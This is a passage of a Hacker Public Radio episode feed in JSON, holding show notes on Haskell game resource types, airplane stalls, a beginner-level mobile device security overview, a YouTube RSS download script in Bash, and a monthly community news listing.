                                                            The sound used for the opening and closing sequence is Speaker X-Clash by Daniel H, and is released under a CC-BY-NC license.

                                                            \n","hostid":370,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"raspberry pi, review","version":0,"downloads":0,"valid":1}, {"id":2712,"date":"2018-12-25","title":"Steganography","duration":1290,"summary":"Klaatu wraps up his miniseries about steganography.","notes":"

                                                            Did you find the hidden message contained in Klaatu's previous two episodes?

                                                            \n

                                                            If not, Klaatu reveals how to find it in this one, how to duplicate it, and what makes good steganography.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"steganography,message,secret decoder ring","version":0,"downloads":0,"valid":1}, {"id":2713,"date":"2018-12-26","title":"Resources in 4x game","duration":1252,"summary":"One way to implement data types for raw resources in Haskell","notes":"

                                                            Raw resources are integral part for most 4x games. Here’s one way of modeling them in Haskell. I wanted a system that is easy to use, doesn’t require too much typing and is type safe.

                                                            \n

                                                            RawResource is basic building block:

                                                            \n
                                                            newtype RawResource a = RawResource { unRawResource :: Int }\n    deriving (Show, Read, Eq)
                                                            \n

                                                            It can be parametrised with anything, but I’m using three different types:

                                                            \n
                                                            data Biological = Biological\ndata Mechanical = Mechanical\ndata Chemical = Chemical
                                                            \n

                                                            Example of defining harvest being 100 units of biological raw resources:

                                                            \n
                                                              harvest :: RawResource Biological\n  harvest = RawResource 100
                                                            \n

                                                            Raw resources are often manipulated (added and subtracted mostly). Defining Num instance allows us to use them as numbers:

                                                            \n
                                                            instance Num (RawResource t) where\n    (+) (RawResource a) (RawResource b) = RawResource $ a + b\n    (-) (RawResource a) (RawResource b) = RawResource $ a - b\n    (*) (RawResource a) (RawResource b) = RawResource $ a * b\n    abs (RawResource a) = RawResource $ abs a\n    signum (RawResource a) = RawResource $ signum a\n    fromInteger a = RawResource $ fromInteger a
                                                            \n

                                                            For example, adding harvest to stock pile:

                                                            \n
                                                              stock :: RawResource Biological\n  stock = RawResource 1000\n\n  harvest :: RawResource Biological\n  harvest = RawResource 100\n\n  newStock = stock + harvest
                                                            \n

                                                            Comparing size of two resource piles is common operation. Ord instance has methods we need for comparing:

                                                            \n
                                                            instance Ord (RawResource t) where\n    (<=) (RawResource a) (RawResource b) = a <= b
                                                            \n

                                                            One function is enough, as rest is defined in terms of it. Sometimes (usually for reasons of optimization), one might want to define other functions too.

                                                            \n

                                                            Another way to add bunch of resources of same type together is defining Monoid instance:

                                                            \n
                                                            instance Semigroup (RawResource t) where\n    (<>) a b = a + b\n\ninstance Monoid (RawResource t) where\n    mempty = RawResource 0
                                                            \n

                                                            For example, combining harvests of many fields can be achieved as:

                                                            \n
                                                              harvests :: [RawResource Biological]\n  harvests = [RawResource 20, RawResource 50, RawResource 25]\n\n  total :: RawResource Biological\n  total = mappend harvests
                                                            \n

                                                            All these functions keep track of type of resources being manipulated. Compiler will emit an error if two different types of resources are being mixed together.

                                                            \n

                                                            Raw resources are often grouped together for specific purpose. This again uses phantom types to keep track the intended usage:

                                                            \n
                                                            data RawResources a = RawResources\n    { ccdMechanicalCost :: RawResource Mechanical\n    , ccdBiologicalCost :: RawResource Biological\n    , ccdChemicalCost :: RawResource Chemical\n    } deriving (Show, Read, Eq)\n\ndata ResourceCost = ResourceCost\ndata ConstructionSpeed = ConstructionSpeed\ndata ConstructionLeft = ConstructionLeft\ndata ConstructionDone = ConstructionDone\ndata ResourcesAvailable = ResourcesAvailable
                                                            \n

                                                            And in order to be able to combine piles of RawResources, we’ll define Semigroup and Monoid instances. Notice how both instances make use of Semigroup and Monoid instances of RawResource:

                                                            \n
                                                            instance Semigroup (RawResources t) where\n    (<>) a b = RawResources\n        { ccdMechanicalCost = ccdMechanicalCost a <> ccdMechanicalCost b\n        , ccdBiologicalCost = ccdBiologicalCost a <> ccdBiologicalCost b\n        , ccdChemicalCost = ccdChemicalCost a <> ccdChemicalCost b\n        }\n\ninstance Monoid (RawResources t) where\n    mempty = RawResources\n        { ccdMechanicalCost = mempty\n        , ccdBiologicalCost = mempty\n        , ccdChemicalCost = mempty\n        }
                                                            \n

                                                            For those interested seeing some code, source is available at https://github.com/Tuula/deep-sky/ (https://github.com/Tuula/deep-sky/tree/baa0807dd36b61fd02174b17c10013862af4ec18 is situation before lots of Elm related changes that I mentioned in passing in the previous episode)

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell","version":0,"downloads":0,"valid":1}, {"id":2714,"date":"2018-12-27","title":"Airplane stalls and Angle of Attack","duration":995,"summary":"A primer on why airplanes quit flying","notes":"

                                                            stalls, a primer on why aircraft fly, and don’t fly

                                                            \n

                                                            YouTube video of stall with narration (35 seconds)

                                                            \n

                                                            https://www.youtube.com/watch?v=SiOiVHUEYao

                                                            \n

                                                            AoA gauge from T-38 manual

                                                            \n

                                                            https://goo.gl/images/ZH5UYx

                                                            \n

                                                            Some definitions

                                                            \n
                                                              \n
                                                            • chord - an imaginary line from the front of the wing to the back

                                                            • \n
                                                            • relative wind - movement of air relative to the chord

                                                            • \n
                                                            • angle of attack - the angle of the chord of the wing to the relative wind

                                                            • \n
                                                            • stall - a condition where the air on the top of the wing is not flowing smoothly over the wing

                                                            • \n
                                                            • critical angle of attack - the angle that the wing becomes stalled

                                                            • \n
                                                            • fun - stalling and spinning and aircraft when its safe to do so

                                                            • \n
                                                            • scary - stalling and spinning and aircraft when you don’t want to

                                                            • \n
                                                            \n

                                                            Things not mentioned

                                                            \n

                                                            This discussion pertained to subsonic speeds, super sonic flight introduces a whole other realm of issues.

                                                            \n

                                                            The wings of aircraft do not stall all at once. They are designed (usually) to stall from the wing root (where the wing is attached to the fuselage) towards the tips. This ensures good roll control at slow speed and into the stall. This stalling characteristic is achieved by designing twist in the wing (washout) allowing different parts of the wing to hit the critical angle of attack at different times.

                                                            \n

                                                            The most dangerous situation that you can find yourself in is a low altitude situation where one wing is stalled more than the other. The airplane then enters a spin. The dangerous part is the low altitude. Spins are fun, and the plane is still controllable, but you need altitude to recover. A wise man told me when turning low to the ground keep your nose down and speed up.

                                                            \n

                                                            Most light aircraft will shudder or buffet as you approach the critical angle of attack this happens because of the disturbed airflow hitting the aircraft’s fuselage or tail. In larger aircraft no (i.e. airliners) no feel is given naturally as the plane approaches a stalled condition so systems like stick shakers vibrate the control artificially as you approach the critical angle of attack as measured by the AoA sensors. DC-9 stick shaker, a big cell phone vibrator artificial stall warning is mandatory in fly-by-wire aircraft (i.e. Airbus, f-16) as well as pure hydraulic controls (i.e. Boeing 757)

                                                            \n

                                                            Author: Brian
                                                            \nCreated: 2018-12-01 Sat 07:34
                                                            \nEmacs 25.3.1 (Org mode 8.2.10)

                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"aircraft,flight,stall","version":0,"downloads":0,"valid":1}, {"id":2715,"date":"2018-12-28","title":"About ONAP","duration":618,"summary":"The Linux foundations ONAP project all about it","notes":"

                                                            So I went to the open networking trade show sponsored by the Linux Foundation with Ken Fallon’s help.

                                                            \n

                                                            The first thing they talked about was ONAP.

                                                            \n

                                                            https://www.onap.org/
                                                            \nhttps://en.wikipedia.org/wiki/ONAP

                                                            \n","hostid":129,"series":61,"explicit":1,"license":"CC-BY-SA","tags":"Networking,ONAP,Open Networking Automation Platform","version":0,"downloads":0,"valid":1}, {"id":2716,"date":"2018-12-31","title":"Really Simple YouTube","duration":441,"summary":"Thaj explains how he makes YouTube come to him using RSS feeds","notes":"

                                                            Here are the two links I mentioned that let you pull RSS feeds out of YouTube

                                                            \n\n","hostid":270,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"RSS, YouTube, PeerTube, TInyTinyRSS, Internet Video","version":0,"downloads":0,"valid":1}, {"id":2717,"date":"2019-01-01","title":"Mobile Device Security","duration":621,"summary":"Cell phone cyber security 101","notes":"

                                                            Introduction

                                                            \n

                                                            Hello and welcome to Hacker Public Radio, I’m Edward Miro and for this episode I decided to address mobile device security. As with most of the research and articles I’ve written in the past, these are geared toward standard users in a business setting and are meant to be a jumping off point for further research and to be a foundation for cyber security 101 level training classes. If you like what I do, and want to have me come speak to your team, feel free to email me.

                                                            \n

                                                            As an information security researcher, I have noticed a trend in what potential clients lately have been interested in: cell phones. Almost everyone I have consulted for in the area of private investigations make this area their main priority. This makes sense as users have started to transition to using mobile devices more and more. Not only do cell phones represent the main conduit to the internet for a huge chunk of people, but many use them for work also. Many companies have smartly presented policies against this, but there are still many organizations that allow bring-your-own-device style implementations. In the following podcast I will try to define the threats, defense and considerations in very broad strokes.

                                                            \n

                                                            Cell phones differ from a standard hacking target in a few ways. For the most part, many of the same vectors are still valid. Remote code execution however is more rare, but not out of the question. I’m going to attempt to present these different vectors in an ascending list of what is most likely to be used as an attack, in my humble (and possibly ignorant) opinion.

                                                            \n

                                                            1. Passive Surveillance

                                                            \n

                                                            This vector is one many in the hacking world will already be familiar with and it is a major concern for mobile devices as well. Attackers can monitor an access point where the mobile device is connected and collect packets in all the usual ways. Open public WiFi is a treasure trove and tons of data that’s being sent in the clear can be collected, analyzed and leveraged by attackers.

                                                            \n

                                                            Defense here is a bit more complicated for the general user, but shouldn’t be too intrusive for most:

                                                            \n
                                                              \n
                                                            1. Use a VPN on your mobile devices.
                                                            2. \n
                                                            3. Switch to a DNS provider that provides secure DNSSEC.
                                                            4. \n
                                                            5. Implement proper encryption on access points.
                                                            6. \n
                                                            \n

                                                            2. Spyware

                                                            \n

                                                            Many commercial spyware applications are readily available on both of the main app stores. The challenges for attackers lie in either gaining physical access to the unlocked device to install the spyware, or tricking the user into installing it themselves. Most often the target’s spouse or close contact does this. Some of these apps can be disguised to look like innocuous applications as a feature, but with devices that are rooted/jailbroken, they can be completely hidden from the user. I found a few surveys that state the average smart phone user has about 30 apps installed. I don’t think it’s unreasonable to suspect the average person wouldn’t notice a second calculator or calendar app. These apps feature the full gamut of what you’d expect from a spyware app.

                                                            \n

                                                            Defense against spyware is pretty simple:

                                                            \n
                                                              \n
                                                            1. Don’t allow unsupervised access to your device.
                                                            2. \n
                                                            3. Use a strong passcode or biometric lock.
                                                            4. \n
                                                            5. Remove unused applications and be aware of new apps that may pop up.
                                                            6. \n
                                                            7. Don’t root or jailbreak your device.
                                                            8. \n
                                                            \n

                                                            3. Social Engineering

                                                            \n

                                                            The tried and true vector that has always worked and will continue to work is social engineering. It doesn’t matter what kind of device a target is using if you can get them to click a malicious link, open a malicious attachment, or disclose their password to the attackers. With a user’s password you can conduct a vast amount of surveillance through their Google or Apple account. Not to mention leverage their password into all their other accounts as most users still use the same password for everything. We can also callback to the previous section on spyware by mentioning that many users are already familiar with enabling the installation of 3rd party applications and can be tricked into installing a cleverly disguised spyware application.

                                                            \n

                                                            Basic OPSEC recommendations are applicable here:

                                                            \n
                                                              \n
                                                            1. Don’t click strange or unsolicited links or attachments on your devices.
                                                            2. \n
                                                            3. Never disclose your password to anyone through a text message or voice call.
                                                            4. \n
                                                            5. Don’t install 3rd party applications. I’ll extend this to say not to install any shady or questionable apps, even ones hosted by the app stores. There have been instances of vetted apps being malicious.
                                                            6. \n
                                                            \n

                                                            4. IMSI catchers/Femtocells

                                                            \n

                                                            I refer to these as DIY Stingrays. Stingrays are devices used by law enforcement to track and surveil cell phone traffic. These devices emulate a cell tower or boost cell phone signals when used in a legitimate way. Mobile phones are designed to prefer using stations that are the closest and strongest. Any technically proficient attacker can DIY one of these devices for not a lot of money. When an attacker deploys one of these devices, the target’s phone usually has no idea that the device isn’t an official cell tower and happily connects and passes traffic through it. The rogue stations can then be configured to pass the traffic on to an authentic tower and the user will have no idea. These rogue towers can not only collect identifying information about the mobile device that can be used to track or mark a target, they can also monitor voice calls, data, and SMS, as well as perform man-in-the-middle attacks. Often they can disable the native encryption of the target’s phone as well.

                                                            \n

                                                            Defense against this vector is a bit more complicated:

                                                            \n
                                                              \n
                                                            1. As before, use a VPN.
                                                            2. \n
                                                            3. Use Signal or other encrypted communication apps.
                                                            4. \n
                                                            5. Avoid disclosing sensitive information during voice calls.
                                                            6. \n
                                                            7. There is software that has been developed to detect and notify the user when a rogue station has been detected, but this is not going to be super helpful for standard users. There are also maps online of known cell towers and it is possible to use software to identify your connected tower.
                                                            8. \n
                                                            \n

                                                            5. Exploits

                                                            \n

                                                            Speaking very generally, this attack vector is for the most part less of a concern (depending on your particular threat level), but we all know that the chance of this happening in the wild is probably remote for most people. The technical implementations of exploits such as Rowhammer, Stagefright, and Blueborne are well outside the scope of this particular talk, but we would be incorrect to not mention them and what can be done to protect against them. And we should also pay special attention to more and more exploits being developed to attack mobile devices as attackers have started putting a lot of attention in this area. Even though many of these vulnerabilities are being patched, we all know many users are still using old versions of Android and iOS, and many devices are simply outside the support period offered by the manufacturers and will never be updated past a certain point. Couple that with the general idea that mobile devices (or any device running a non Windows based OS) are “safer” because less exploits exist for them is currently a very poor assumption. This will probably get worse as the cost of keeping up with new devices now being over $1000 and many users won’t be able to get devices that are constantly being patched.

                                                            \n

                                                            What we can do:

                                                            \n
                                                              \n
                                                            1. Keep your mobile devices updated with most current OS updates and carrier settings. Also keep applications updated. I don’t know how many times I’ve noticed friends or family with devices that are ready to be updated, but the notifications go ignored.
                                                            2. \n
                                                            3. If it’s possible, replace devices when they are outside the support period.
                                                            4. \n
                                                            5. Be paranoid, if it applies to you. What this means is when you use any computer or device, always remember that zero day exploits can exist for years before being disclosed. You could follow ALL the best OPSEC practices, and you could still be vulnerable to exploits that haven’t been disclosed and/or patched. This might not matter if you’re just a general user, but if you work for the government or do intelligence work, act as if.
                                                            6. \n
                                                            \n

                                                            Well, thank you for taking the time to listen to my basic introduction to cell phone cyber defense. I know most of the information I provided is only the tip of the iceberg and if current trends hold up, this will only get worse in the future. If you want to add to or correct any mistakes I may have made, like I stated in the introduction, feel free to email me and let’s have a conversation. I don’t claim to know all there is to know and love feedback and any opportunities to learn more or collaborate with others in the field.

                                                            \n

                                                            Thanks again, and have a great 2019!

                                                            \n","hostid":372,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Mobile Device Security","version":0,"downloads":0,"valid":1}, {"id":2718,"date":"2019-01-02","title":"Genre In Storytelling","duration":750,"summary":"Lostnbronx takes a look at the importance of genre in storytelling.","notes":"

                                                            Many people see genres as being largely interchangeable, but are they really? Why can some stories only be told in a particular genre? When are genre stories truly alike? And when are setting, character, and plot more important than genre? Lostnbronx takes a quick, rambling look at this complicated subject.

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-BY-SA","tags":"stories,storytelling,genre,lostnbronx","version":1,"downloads":0,"valid":1}, {"id":2719,"date":"2019-01-03","title":"Bash Tips - 17","duration":2056,"summary":"Arrays in Bash (part 2)","notes":"

                                                            Bash Tips - 17 (Additional auxiliary Bash tips)

                                                            \n

                                                            Arrays in Bash

                                                            \n

                                                            This is the second of a small group of shows on the subject of arrays in Bash. It is also the seventeenth show in the Bash Tips sub-series.

                                                            \n

                                                            In the last show we saw the two types of arrays, and learned about the multiple ways of creating them and populating them. We also looked at how array elements and entire arrays are accessed.

                                                            \n

                                                            Now we want to continue looking at array access and some of the various parameter expansion operations available.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,array,indexed array,associative array","version":0,"downloads":0,"valid":1}, {"id":2720,"date":"2019-01-04","title":"Download youtube channels using the rss feeds","duration":1447,"summary":"Ken shares a script that will allow you to quickly keep up to date on your youtube subscriptions","notes":"

                                                            \nI had a very similar problem to Ahuka aka Kevin, in hpr2675 :: YouTube Playlists. I wanted to be able to download an entire youtube channel and store them so that I could play them in the order that they were posted.
                                                            \nSee previous episode hpr2710 :: Youtube downloader for channels.\n

                                                            \n

                                                            \nThe problem with the original script is that it needs to download and check each video in each channel and it can crawl to a halt on large channels like EEEVblog.\n

                                                            \n

                                                            \nThe solution was given in hpr2544 :: How I prepared episode 2493: YouTube Subscriptions - update with more details in the full-length notes.\n

                                                            \n\n
                                                              \n
                                                            1. Subscribe:
                                                              Subscriptions are the currency of YouTube creators so don't be afraid to create an account to subscribe to the creators. Here is my current subscription_manager.opml to give you some ideas.
                                                            2. \n
                                                            3. Export:
                                                              Login to https://www.youtube.com/subscription_manager and at the bottom you will see the option to Export subscriptions. Save the file and alter the script to point to it.
                                                            4. \n
                                                            5. Download: Run the script youtube-rss.bash
                                                            6. \n
                                                            \n\n

                                                            How it works

                                                            \n

                                                            \nThe first part allows you to define where you want to save your files. It also allows you to set what videos to skip based on length and strings in their titles.\n

                                                            \n
                                                            \nsavepath=\"/mnt/media/Videos/channels\"\nsubscriptions=\"${savepath}/subscription_manager.opml\"\nlogfile=\"${savepath}/log/downloaded.log\"\nyoutubedl=\"/mnt/media/Videos/youtube-dl/youtube-dl\"\nDRYRUN=\"echo DEBUG: \"\nmaxlength=7200 # two hours\nskipcrap=\"fail |react |live |Best Pets|BLOOPERS|Kids Try\"\n
                                                            \n\n

                                                            \nAfter some checks and cleanup, we can then parse the opml file. This is an example of the top of mine.\n

                                                            \n
                                                            \n<?xml version=\"1.0\"?>\n<opml version=\"1.1\">\n  <body>\n    <outline text=\"YouTube Subscriptions\" title=\"YouTube Subscriptions\">\n      <outline text=\"Wintergatan\" title=\"Wintergatan\" type=\"rss\" xmlUrl=\"https://www.youtube.com/feeds/videos.xml?channel_id=UCcXhhVwCT6_WqjkEniejRJQ\"/>\n      <outline text=\"Primitive Technology\" title=\"Primitive Technology\" type=\"rss\" xmlUrl=\"https://www.youtube.com/feeds/videos.xml?channel_id=UCAL3JXZSzSm8AlZyD3nQdBA\"/>\n      <outline text=\"John Ward\" title=\"John Ward\" type=\"rss\" xmlUrl=\"https://www.youtube.com/feeds/videos.xml?channel_id=UC2uFFhnMKyF82UY2TbXRaNg\"/>\n
                                                            \n\n

                                                            \nNow we use the xmlstarlet tool to extract each of the urls and also the title. The title is just used to give some feedback, while the url needs to be stored for later. Now we have a complete list of all the current urls, in all the feeds. \n

                                                            \n
                                                            \nxmlstarlet sel -T -t -m '/opml/body/outline/outline' -v 'concat( @xmlUrl, \" \", @title)' -n \"${subscriptions}\" | while read subscription title\ndo\n  echo \"Getting \"${title}\"\"\n  wget -q \"${subscription}\" -O - | xmlstarlet sel -T -t -m '/_:feed/_:entry/media:group/media:content' -v '@url' -n - | awk -F '?' '{print $1}'  >> \"${logfile}_getlist\"\ndone\n
                                                            \n\n

                                                            \nThe main part of the script then counts the total so we can have some feedback while we are running it. It then pumps the list from the previous step into a loop which first checks to make sure we have not already downloaded it.\n

                                                            \n
                                                            \ncount=1\ntotal=$( sort \"${logfile}_getlist\" | uniq | wc -l )\n\nsort \"${logfile}_getlist\" | uniq | while read thisvideo\ndo \n  if [ \"$( grep \"${thisvideo}\" \"${logfile}\" | wc -l )\" -eq 0 ];\n  then\n
                                                            \n

                                                            \nThe next part takes advantage of the youtube-dl --dump-json command which downloads all sorts of information about the video which we store to query later.\n

                                                            \n
                                                            \n    metadata=\"$( ${youtubedl} --dump-json ${thisvideo} )\"\n    uploader=\"$( echo $metadata | jq '.uploader' | awk -F '\"' '{print $2}' )\"\n    title=\"$( echo $metadata | jq '.title' | awk -F '\"' '{print $2}' )\"\n    upload_date=\"$( echo $metadata | jq '.upload_date' | awk -F '\"' '{print $2}' )\"\n    id=\"$( echo $metadata | jq '.id' | awk -F '\"' '{print $2}' )\"\n    duration=\"$( echo $metadata | jq '.duration' )\"\n
                                                            \n

                                                            \nHaving the duration, we can skip long episodes.\n

                                                            \n
                                                            \n\n    if [[ -z ${duration} || ${duration} -le 0 ]]\n    then\n      echo -e \"nError: The duration \"${length}\" is strange. \"${thisvideo}\".\"\n      continue\n    elif [[ ${duration} -ge ${maxlength} ]]\n    then\n      echo -e \"nFilter: You told me not to download titles over ${maxlength} seconds long \"${title}\", \"${thisvideo}\"\"\n      continue\n    fi\n
                                                            \n

                                                            \nOr videos that don't interest us.\n

                                                            \n
                                                            \n\n    if [[ ! -z \"${skipcrap}\" && $( echo ${title} | egrep -i \"${skipcrap}\" | wc -l ) -ne 0 ]]\n    then\n      echo -e \"nSkipping: You told me not to download this stuff. ${uploader}: \"${title}\", \"${thisvideo}\"\"\n      continue\n    else\n      echo -e \"n${uploader}: \"${title}\", \"${thisvideo}\"\"\n    fi\n
                                                            \n

                                                            \nNow we have a filtered list of urls we do want to keep. These we also save the description in a text file with the video id if we want to refer to it later. \n

                                                            \n
                                                            \n    echo ${thisvideo} >> \"${logfile}_todo\"\n    echo -e $( echo $metadata | jq '.description' ) > \"${savepath}/description/${id}.txt\"\n  else\n    echo -ne \"rProcessing ${count} of ${total}\"\n  fi\n  count=$((count+1))\ndone\necho \"\"\n
                                                            \n

                                                            \nAnd finally we download the actual videos saving each channel in its own directory. The file names is first an ISO8601 date, then the title stored as ASCII with no space or ampersands. I then use a \"⋄\" as a delimiter before the video id.\n

                                                            \n
                                                            \n\n# Download the list\nif [ -e \"${logfile}_todo\" ];\nthen\n  cat \"${logfile}_todo\" | ${youtubedl} --batch-file - --ignore-errors --no-mtime --restrict-filenames --format mp4 -o \"${savepath}\"'/%(uploader)s/%(upload_date)s-%(title)s⋄%(id)s.%(ext)s'\n  cat \"${logfile}_todo\" >> ${logfile}\nfi\n
                                                            \n

                                                            \nNow you have a fast script that keeps you up to date with your feeds.\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"youtube, youtube-dl, channels, playlists, xmlstarlet","version":0,"downloads":0,"valid":1}, {"id":2721,"date":"2019-01-07","title":"HPR Community News for December 2018","duration":4247,"summary":"HPR Volunteers talk about shows released and comments posted in December 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Edward Miro / c1ph0r.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2696Mon2018-12-03HPR Community News for November 2018HPR Volunteers
                                                            2697Tue2018-12-04The Linux Shutdown Command ExplainedJWP
                                                            2698Wed2018-12-05XSV for fast CSV manipulations - Part 1Mr. Young
                                                            2699Thu2018-12-06Bash Tips - 15Dave Morriss
                                                            2700Fri2018-12-07Episode 3000Ken Fallon
                                                            2701Mon2018-12-10First impressions of the Odroid-gododddummy
                                                            2702Tue2018-12-11Audacity set up and response to episode 2658Tony Hughes AKA TonyH1212
                                                            2703Wed2018-12-12Fog of war in Yesod based gameTuula
                                                            2704Thu2018-12-13Intro to Scribusklaatu
                                                            2705Fri2018-12-14Evidence-based MedicineAhuka
                                                            2706Mon2018-12-17Why I love the IBM AS/400 computer systemsJeroen Baten
                                                            2707Tue2018-12-18Steganalysis 101Edward Miro / c1ph0r
                                                            2708Wed2018-12-19Ghostscriptklaatu
                                                            2709Thu2018-12-20Bash Tips - 16Dave Morriss
                                                            2710Fri2018-12-21Youtube downloader for channelsKen Fallon
                                                            2711Mon2018-12-24Raspberry Pi 3A+ ReviewYannick the french guy from Switzerland
                                                            2712Tue2018-12-25Steganographyklaatu
                                                            2713Wed2018-12-26Resources in 4x gameTuula
                                                            2714Thu2018-12-27Airplane stalls and Angle of AttackBrian in Ohio
                                                            2715Fri2018-12-28About ONAPJWP
                                                            2716Mon2018-12-31Really Simple YouTubeThaj Sara
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 34 comments in total.

                                                            \n

                                                            There are 15 comments on\n11 previous shows:

                                                            \n
                                                            • hpr1536\n(2014-06-23) \"The 150-in-1 Electronic Project Kit\"\nby Curtis Adkins (CPrompt^).
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 9:\nRichard Harris on 2018-12-16:\n\"Consultant, Licensed technical instructor\"

                                                              \n
                                                            • hpr2378\n(2017-09-13) \"Why Docbook?\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 10:\nKlaatu on 2018-12-22:\n\"docbook rocks\"

                                                              \n
                                                            • hpr2562\n(2018-05-29) \"I bought a laptop\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nclacke on 2018-12-05:\n\"This is an episode\"

                                                              \n
                                                            • hpr2619\n(2018-08-16) \"A Gentle Introduction to Quilt\"\nby bjb.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKlaatu on 2018-12-22:\n\"can't wait to try it\"

                                                              \n
                                                            • hpr2635\n(2018-09-07) \"Running your own mainframe on Linux (for fun and profit)\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nKlaatu on 2018-12-22:\n\"Best explanation of what a mainframe is\"

                                                              \n
                                                            • hpr2661\n(2018-10-15) \"My Music Production Setup\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKlaatu on 2018-12-22:\n\"Nice look behind the scenes\"

                                                              \n
                                                            • hpr2666\n(2018-10-22) \"Slackware Post-Install\"\nby m1rr0r5h4d35.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nKlaatu on 2018-12-22:\n\"shameless self promotion\"

                                                              \n
                                                            • hpr2672\n(2018-10-30) \"Porteus\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKlaatu on 2018-12-03:\n\"Late response better than no response\"

                                                              \n
                                                            • hpr2693\n(2018-11-28) \"Getting started with web based game in Haskell and Elm\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nTuula on 2018-12-01:\n\"thanks\"

                                                              \n
                                                            • hpr2694\n(2018-11-29) \"Bandit Update\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2018-12-03:\n\"Use the website\"
                                                              • \n
                                                              • \nComment 2:\nNYbill on 2018-12-03:\n\"Huh?\"
                                                              • \n
                                                              • \nComment 3:\nKen Fallon on 2018-12-04:\n\"I took it to be a hacking challange\"
                                                              • \n
                                                              • \nComment 4:\nNYbill on 2018-12-04:\n\"Webpage\"

                                                              \n
                                                            • hpr2695\n(2018-11-30) \"Problems with Studies\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKlaatu on 2018-12-20:\n\"Required listening\"
                                                              • \n
                                                              • \nComment 2:\nKevin O'Brien on 2018-12-21:\n\"Finding truth\"

                                                              \n
                                                            \n

                                                            There are 19 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr2697\n(2018-12-04) \"The Linux Shutdown Command Explained\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2018-12-04:\n\"shutdown on BSDs\"
                                                              • Comment 2:\nKlaatu on 2018-12-20:\n\"another great jwp episode\"
                                                              • Comment 3:\nKlaatu on 2018-12-20:\n\"episode 2725\"

                                                              \n
                                                            • hpr2698\n(2018-12-05) \"XSV for fast CSV manipulations - Part 1\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2018-12-05:\n\"Good timing\"
                                                              • Comment 2:\nDave Morriss on 2018-12-16:\n\"This is a great bit of software\"
                                                              • Comment 3:\nKlaatu on 2018-12-20:\n\"Neato\"

                                                              \n
                                                            • hpr2701\n(2018-12-10) \"First impressions of the Odroid-go\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2018-12-10:\n\"Particularly interesting\"
                                                              • Comment 2:\nKlaatu on 2018-12-20:\n\"Particularly interesting +1\"

                                                              \n
                                                            • hpr2704\n(2018-12-13) \"Intro to Scribus\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAhuka on 2018-12-15:\n\"Excellent show\"

                                                              \n
                                                            • hpr2705\n(2018-12-14) \"Evidence-based Medicine\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2018-12-20:\n\"smart\"
                                                              • Comment 2:\nAhuka on 2018-12-21:\n\"Follow your bliss\"

                                                              \n
                                                            • hpr2706\n(2018-12-17) \"Why I love the IBM AS/400 computer systems\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBob on 2018-12-18:\n\"Novell not AS400\"
                                                              • Comment 2:\nKlaatu on 2018-12-20:\n\"Intro music\"
                                                              • Comment 3:\nWindigo on 2018-12-31:\n\"Certainly piqued my interest\"

                                                              \n
                                                            • hpr2707\n(2018-12-18) \"Steganalysis 101\"\nby Edward Miro / c1ph0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2018-12-18:\n\"Great show\"
                                                              • Comment 2:\nKlaatu on 2018-12-19:\n\"Great intro\"

                                                              \n
                                                            • hpr2710\n(2018-12-21) \"Youtube downloader for channels\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nGustaf on 2018-12-21:\n\"Thank you\"

                                                              \n
                                                            • hpr2712\n(2018-12-25) \"Steganography\"\nby klaatu.
                                                            • \n
                                                            • \n
